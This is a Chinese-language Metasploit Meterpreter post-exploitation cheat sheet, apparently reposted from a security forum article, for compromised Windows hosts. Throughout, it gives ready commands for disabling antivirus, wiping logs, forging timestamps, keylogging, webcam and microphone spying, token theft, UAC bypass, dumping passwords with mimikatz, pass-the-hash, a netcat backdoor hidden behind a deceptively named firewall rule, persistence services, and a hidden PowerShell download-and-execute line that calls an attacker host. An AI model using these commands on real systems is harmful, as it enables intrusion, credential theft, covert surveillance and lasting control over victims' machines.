0x01 系統命令
基本系統命令
1 background # 將當前會話放置后台 2 sessions # sessions –h 查看幫助 3 sessions -i <ID值> #進入會話 -k 殺死會話 4 bgrun / run # 執行已有的模塊,輸入run后按兩下tab,列出已有的腳本 5 info # 查看已有模塊信息 6 getuid # 查看當前用戶身份 7 getprivs # 查看當前用戶具備的權限 8 getpid # 獲取當前進程ID(PID) 9 sysinfo # 查看目標機系統信息 10 irb # 開啟ruby終端 11 ps # 查看正在運行的進程 12 kill <PID值> # 殺死指定PID進程 13 idletime # 查看目標機閑置時間 14 reboot / shutdown # 重啟/關機 15 shell # 進入目標機cmd shell
常用cmd命令
1 whoami # 當前權限 2 quser # 查詢當前在線的管理員 3 net user # 查看存在用戶 4 net user 用戶名 密碼 /add # 添加用戶和對應密碼 5 net localgroup 用戶組名 用戶名 /add # 將指定用戶添加到指定用戶組 6 netstat -ano # 查詢當前計算機中網絡連接通信情況,LISTENING表示該端口處於監聽狀態;ESTABLISHED表示該端口處於工作(通信)狀態 7 systeminfo # 查看當前計算機中的詳細情況 8 tasklist /svc # 查看每個進程所對應的服務 9 taskkill /f /im 程序名稱 # 結束某個指定名稱的程序 10 taskkill /f /PID ID # 結束某個指定PID的進程 11 tasklist | findstr "字符串" # 查找輸出結果中指定的內容 12 logoff # 注銷某個指定用戶的ID 13 shutdown -r # 重啟當前計算機 14 netsh adcfirewall set allprofiles state off # 關閉防火牆
uictl開關鍵盤/鼠標
1 uictl [enable/disable] [keyboard/mouse/all] # 開啟或禁止鍵盤/鼠標 2 uictl disable mouse # 禁用鼠標 3 uictl disable keyboard # 禁用鍵盤
execute執行文件
1 execute #在目標機中執行文件 2 execute -H -i -f cmd.exe # 創建新進程cmd.exe,-H不可見,-i交互 3 execute -H -m -d notepad.exe -f payload.exe -a "-o hack.txt" 4 # -d 在目標主機執行時顯示的進程名稱(用以偽裝)-m 直接從內存中執行 5 "-o hack.txt"是payload.exe的運行參數
migrate進程遷移
1 getpid # 獲取當前進程的pid 2 ps # 查看當前活躍進程 3 migrate <pid值> # 將Meterpreter會話移植到指定pid值進程中 4 kill <pid值> # 殺死進程
clearav清楚日志
1 clearav # 清除windows中的應用程序日志、系統日志、安全日志
0x02 文件系統命令
基本文件系統命令
1 ls # 列出當前目錄中的文件列表 2 cd # 進入指定目錄 3 getwd / pwd # 查看當前工作目錄 4 search -d c:\\ -f *.txt # 搜索文件 -d 目錄 -f 文件名 5 cat c:\\123.txt # 查看文件內容 6 upload /tmp/hack.txt C:\\ # 上傳文件到目標機上 7 download c:\\123.txt /tmp/ # 下載文件到本機上 8 edit c:\\test.txt # 編輯或創建文件 沒有的話,會新建文件 9 rm C:\\hack.txt # 刪除文件 10 mkdir admin # 只能在當前目錄下創建文件夾 11 rmdir admin # 只能刪除當前目錄下文件夾 12 getlwd / lpwd # 查看本地當前目錄 13 lcd /tmp # 切換本地目錄
timestomp偽造時間戳
1 timestomp C:\\ -h #查看幫助 2 timestomp -v C:\\2.txt #查看時間戳 3 timestomp C:\\2.txt -f C:\\1.txt #將1.txt的時間戳復制給2.txt 4 timestomp c:\\test\\22.txt -z "03/10/2019 11:55:55" -v # 把四個屬性設置為統一時間
0x03 網絡命令
基本網絡命令
1 ipconfig/ifconfig # 查看網絡接口信息 2 netstat –ano # 查看網絡連接狀態 3 arp # 查看arp緩沖表 4 getproxy # 查看代理信息 5 route # 查看路由表信息
portfwd 端口轉發
1 portfwd add -l 1111 -p 3389 -r 127.0.0.1 #將目標機的3389端口轉發到本地1111端口 2 rdesktop 127.0.0.1:1111 # 需要輸入用戶名密碼連接 3 rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用戶名 -p 密碼
autoroute 添加路由
1 run autoroute -h # 查看幫助 2 run get_local_subnets # 查看目標內網網段地址 3 run autoroute -s 192.168.183.0/24 # 添加目標網段路由 4 run autoroute -p # 查看添加的路由
利用arp_scanner、portscan等進行掃描
1 run post/windows/gather/arp_scanner RHOSTS=192.168.183.0/24 2 run auxiliary/scanner/portscan/tcp RHOSTS=192.168.183.146 PORTS=3389
0x04 信息收集
常用腳本
1 run arp_scanner -r 192.168.183.1/24 # 利用arp進行存活主機掃描 2 run winenum # 自動化執行一些檢測腳本 3 run credcollect # 獲取用戶hash 4 run domain_list_gen # 獲取域管理賬戶列表 5 run post/multi/gather/env # 獲取用戶環境變量 6 run post/windows/gather/enum_logged_on_users -c # 列出當前登錄用戶 7 run post/linux/gather/checkvm # 是否虛擬機 8 run post/windows/gather/checkvm # 是否虛擬機 9 run post/windows/gather/forensics/enum_drives # 查看存儲器信息 10 run post/windows/gather/enum_applications # 獲取安裝軟件信息 11 run post/windows/gather/dumplinks # 獲取最近訪問過的文檔、鏈接信息 12 run post/windows/gather/enum_ie # 獲取IE緩存 13 run post/windows/gather/enum_firefox # 獲取firefox緩存 14 run post/windows/gather/enum_chrome # 獲取Chrome緩存 15 run post/multi/recon/local_exploit_suggester # 獲取本地提權漏洞 16 run post/windows/gather/enum_patches # 獲取補丁信息 17 run post/windows/gather/enum_domain # 查找域控 18 run post/windows/gather/enum_snmp # 獲取snmp團體名稱 19 run post/windows/gather/credentials/vnc # 獲取vnc密碼 20 run post/windows/wlan/wlan_profile # 用於讀取目標主機WiFi密碼 21 run post/multi/gather/wlan_geolocate # 基於wlan進行地理位置確認 文件位於/root/.msf4/loot 22 run post/windows/manage/killav 關閉殺毒軟件
常用的破解模塊
1 auxiliary/scanner/mssql/mssql_login 2 auxiliary/scanner/ftp/ftp_login 3 auxiliary/scanner/ssh/ssh_login 4 auxiliary/scanner/telnet/telnet_login 5 auxiliary/scanner/smb/smb_login 6 auxiliary/scanner/mssql/mssql_login 7 auxiliary/scanner/mysql/mysql_login 8 auxiliary/scanner/oracle/oracle_login 9 auxiliary/scanner/postgres/postgres_login 10 auxiliary/scanner/vnc/vnc_login 11 auxiliary/scanner/pcanywhere/pcanywhere_login 12 auxiliary/scanner/snmp/snmp_login 13 auxiliary/scanner/ftp/anonymous
鍵盤記錄
1 keyscan_start # 開始鍵盤記錄 2 keyscan_dump # 導出記錄數據 3 keyscan_stop # 結束鍵盤記錄
sniffer 抓包
1 use sniffer 2 sniffer_interfaces # 查看網卡 3 sniffer_start 1 # 選擇網卡1開始抓包 4 sniffer_stats 1 # 查看網卡1狀態 5 sniffer_dump 1 /tmp/wlan1.pcap # 導出pcap數據包 6 sniffer_stop 1 # 停止網卡1抓包 7 sniffer_release 1 # 釋放網卡1流量
竊取令牌
1 steal_token <pid值> # 從指定進程中竊取token 2 drop_token # 停止假冒當前的token
網絡攝像頭
1 record_mic # 音頻錄制 2 webcam_chat # 開啟視頻聊天(對方有彈窗) 3 webcam_list # 查看攝像頭 4 webcam_snap # 通過攝像頭拍照 5 webcam_stream # 通過攝像頭開啟視頻監控(以網頁形式進行監控≈直播)
截屏
1 screenshot # 截屏 2 use espia # 使用espia模塊 3 screengrab # 截屏
0x05 提權
getsystem 提權
利用getsystem命令提權,該命令會自動尋找各種可能的提權技術來使得用戶將權限提升到更高的級別。提權方式采用命令管道模擬提升的方法和令牌復制的方法。
1 getsystem
本地漏洞提權
本地漏洞提權即是通過運行一些造成溢出漏洞的exploit,把用戶從普通權限提升為管理員權限。
1.利用getuid查看已獲得權限,嘗試利用getsystem提權,失敗。
2.利用enum_patches模塊搜集補丁信息,然后尋找可利用的exploits進行提權。
1 run post/windows/gather/enum_patches #查看補丁信息 2 background 3 search MS10-015 4 use exploit/windows/local/ms10_015_kitrap0d 5 set session 8 6 run
繞過UAC提權
使用bypassuac提權
msf內置一些bypassuac腳本,原理不同,使用方法類似,執行后返回一個新的會話,再次執行getsystem即可提權
1 exploit/windows/local/bypassuac 2 exploit/windows/local/bypassuac_eventvwr 3 exploit/windows/local/bypassuac_injection 4 exploit/windows/local/bypassuac_injection_winsxs 5 exploit/windows/local/bypassuac_silentcleanup 6 exploit/windows/local/bypassuac_vbs
使用命令getsystem提權失敗,然后利用bypassuac來提權,這里利用exploit/windows/local/bypassuac模塊(32位、64位都有效)
1 use exploit/windows/local/bypassuac 2 set session 1 3 run
使用RunAs提權
該方法利用exploit/windows/local/ask模塊(32位、64位都有效),創建一個可執行文件並在目標機上發起一個提升權限請求的程序,觸發系統UAC,提示用戶是否要繼續,如果用戶選擇“是”,則會返回一個高權限的meterpreter shell。
1 use exploit/windows/local/ask 2 set filename update.exe # 設置反彈程序名稱 3 set session 1 4 run
輸入run命令以后會在目標機上彈出UAC,提示用戶是否允許,選擇是就會返回一個高權限的meterpreter shell。
注:使用RunAs模塊進行提權時,系統當前用戶須在管理員組或者知道管理員的密碼,用戶賬戶控制程序UAC設置則沒有要求。使用RunAs模塊進行提權時,會創建一個可執行文件,為了避免給殺毒軟件查殺,該可執行文件(需進行免殺處理)的創建要使用EXE::Custom選項。
假冒令牌提權
令牌是系統臨時密鑰,它允許你在不提供密碼或其他憑證的前提下,訪問網絡和系統資源。這些令牌將持續存在於系統中,除非系統重新啟動。一般有兩種類型的令牌,一種是Delegation Tokens,也就是授權令牌,它支持交互式登錄(例如遠程桌面登陸登錄)。還有一種是Impersonation Tokens,也就是模擬令牌,它是非交互的會話(例如訪問文件共享)。
1 use incognito # 加載竊取令牌模塊 2 list_tokens -u # 查看可用的用戶令牌 3 list_tokens -g # 查看可用的用戶組令牌 4 impersonate_token 'NT AUTHORITY\SYSTEM' # 假冒SYSTEM token 5 rev2self #返回原始token
利用AlwaysInstallElevated提權
AlwaysInstallElevated是一個策略設置。微軟允許非授權用戶以SYSTEM權限運行安裝文件(MSI),如果用戶啟用此策略設置,那么黑客利用惡意的MSI文件就可以進行管理員權限的提升。
查看AlwaysInstallElevated是否被定義
不過利用此方法有個前提條件,需要有兩個注冊表的鍵值為1,我們可以在cmdshell下查看AlwaysInstallElevated是否被定義
1 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果在組策略里未定義AlwaysInstallElevated,則會出現“錯誤: 系統找不到指定的注冊表項或值”的提示。
如果需要開啟可以選擇以下方法:
1.打開組策略編輯器(運行框輸入gpedit.msc)
2.組策略->計算機配置->管理模版->Windows組件->Windows Installer->永遠以高特權進行安裝:選擇啟用
3.組策略->用戶配置->管理模版->Windows組件->Windows Installer->永遠以高特權進行安裝:選擇啟用
設置完成后對應注冊表的位置值會設為1,開啟AlwaysInstallElevated。
生成MSI安裝文件
利用msfvenom命令生成一個在目標機上增加管理員用戶的MSI安裝文件,這里密碼要設置為強密碼,否則會報錯。
1 msfvenom -p windows/adduser USER=msi PASS=Abc123@@ -f msi -o msi.msi
上傳並執行MSI文件
1 upload msi.msi c:\\Users\\test # 部分目錄由於權限原因可能上傳失敗 2 msiexec /quiet /qn /i msi.msi # /quiet=安裝過程中禁止向用戶發送消息 /qn=不使用圖形界面 /i=安裝程序 3 net localgroup administrators
4 upload msi.msi c:\\ # 上傳文件
0x06 竊取hash及密碼&哈希傳遞
竊取hash及密碼
hashdump
1 hashdump 2 run post/windows/gather/smart_hashdump
mimikatz
1 load mimikatz # 加載mimikatz模塊 2 msv # 獲取用戶和hash值 3 kerberos # 獲取內存中的明文密碼信息 4 wdigest # 獲取內存中的明文密碼信息 5 mimikatz_command -f a:: # 需要以錯誤的模塊來讓正確的模塊顯示 6 mimikatz_command -f sekurlsa::searchPasswords # 獲取用戶密碼 7 mimikatz_command -f samdump::hashes # 執行用戶hash
kiwi
kiwi是利用的mimikatz擴展,運行需要SYSTEM權限
1 load kiwi 2 creds_all
哈希傳遞
利用hashdump得到用戶的hash后可利用psexec模塊進行哈希傳遞攻擊。
使用psexec的前提:SMB服務必須開啟,也就是開啟445端口;Admin$可以訪問。
1 use exploit/windows/smb/psexec 2 set payload windows/meterpreter/reverse_tcp 3 set LHOST 192.168.1.1 4 set LPORT 443 5 set RHOST 192.168.183.154 6 set SMBUSER Administrator 7 set SMBPASS ccf**4ee:3db**678 8 set SMBDOMAIN WORKGROUP # 域用戶需要設置SMBDOMAIN 9 run
0x07 RDP
開啟3389
getui 命令
這里需要注意的是通過getgui命令,雖然可以成功添加用戶,但是沒有權限遠程登錄桌面,這里推薦使用enable_rdp腳本添加。
1 run getgui –h # 查看幫助 2 run getgui -e # 開啟遠程桌面 3 run getgui -u admin -p admin # 添加用戶 4 run getgui -f 6666 -e # 3389端口轉發到6666
enable_rdp腳本
通過enable_rdp腳本將用戶添加到遠程桌面用戶組和管理員用戶組
1 run post/windows/manage/enable_rdp #開啟遠程桌面 2 run post/windows/manage/enable_rdp USERNAME=admin PASSWORD=admin # 添加用戶 3 run post/windows/manage/enable_rdp FORWARD=true LPORT=6667 # 將3389端口轉發到6667
遠程桌面
1 enumdesktops # 查看可用的桌面 2 getdesktop # 獲取當前meterpreter 關聯的桌面 3 setdesktop # 設置meterpreter關聯的桌面 -h查看幫助 4 run vnc # 使用vnc遠程桌面連接 5 rdesktop 127.0.0.1:1111 # 需要輸入用戶名密碼連接 6 rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用戶名 -p 密碼
0x08 注冊表操作
注冊表基本命令
1 reg –h # 查看幫助 2 -k 注冊表的路徑 -v 鍵的名稱 -d 鍵值 3 reg enumkey [-k <key>] # 枚舉注冊表的內容 4 reg createkey [-k <key>] # 創建注冊表項 5 reg deletekey [-k <key>] # 刪除注冊表項 6 reg setval [-k <key> -v <val> -d <data>] # 在注冊表里添加內容 7 reg deleteval [-k <key> -v <val>] # 刪除注冊表的值 8 reg queryval [-k <key> -v <val>] # 查詢注冊表的值
利用注冊表添加nc后門
1.編輯注冊表,添加nc到系統啟動項中,形成后門程序。
1 upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 # 上傳nc到目標主機 2 reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run # 枚舉注冊表run下的鍵值 3 reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v test_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' # 設置鍵值 -v 鍵的名稱 -d 鍵值 4 reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v test_nc # 查看test_nc的鍵值
2.設置防火牆允許通過443端口(如果目標主機開啟防火牆,沒有設置相應的規則可能會導致連接失敗。)
1 shell 2 netsh firewall show opmode # 查看防火牆狀態 3 netsh firewall add portopening TCP 443 "網絡發現(Pub PSD-Out)" ENABLE ALL # 添加防火牆的規則允許443端口通過(這里“網絡發現(Pub PSD-Out)”是規則名稱,目的是為了迷惑管理員。)
3.待目標主機重啟后,自啟nc程序,然后我們利用nc連接即可。
1 nc 127.0.0.1 443
0x09 后門植入
我們需要通過植入后門來維持權限,前面說的nc后門就是其中一種,另外一般還有Persistence和Metsvc。
Persistence(通過啟動項安裝)
1 run persistence –h # 查看幫助 2 run persistence -X -i 5 -p 4444 -r 192.168.1.1 3 run persistence -U -i 5 -p 4444 -r 192.168.1.1 -L c:\\Windows\\System32 4 -X:設置后門在系統啟動后自啟動。該方式會在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注冊表信息。由於權限原因會導致添加失敗,后門無法啟動。因此在非管理員權限下,不推薦使用該參數 5 -U:設置后門在用戶登錄后自啟動。該方式會在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注冊表信息 6 -L:后門傳到遠程主機的位置默認為%TEMP% 7 -i:設置反向連接間隔時間為5秒 8 -p:設置反向連接的端口號 9 -r:設置反向連接的ip地址
Metsvc(通過服務安裝)
1 run metsvc -h # 查看幫助 2 run metsvc -A # 自動安裝后門 3 run metsvc -r # 刪除后門 4 5 連接后門 6 use exploit/multi/handler 7 set payload windows/metsvc_bind_tcp 8 set rhost 192.168.1.1 9 set lport 31337 10 run
Powershell后門
1 use exploit/multi/script/web_delivery 2 set payload windows/meterpreter/reverse_tcp 3 set LHOST 192.168.1.1 4 set LPORT 2334 5 set srvport 2333 6 set uripath / 7 set target 5 8 run 9 在目標設備cmd上執行以下命令即可反彈 10 powershell.exe -nop -w hidden -c $z="echo ($env:temp+'\eJedcsJE.exe')"; (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1:2333/', $z); invoke-item $z
####
引用原文地址:https://xz.aliyun.com/t/6400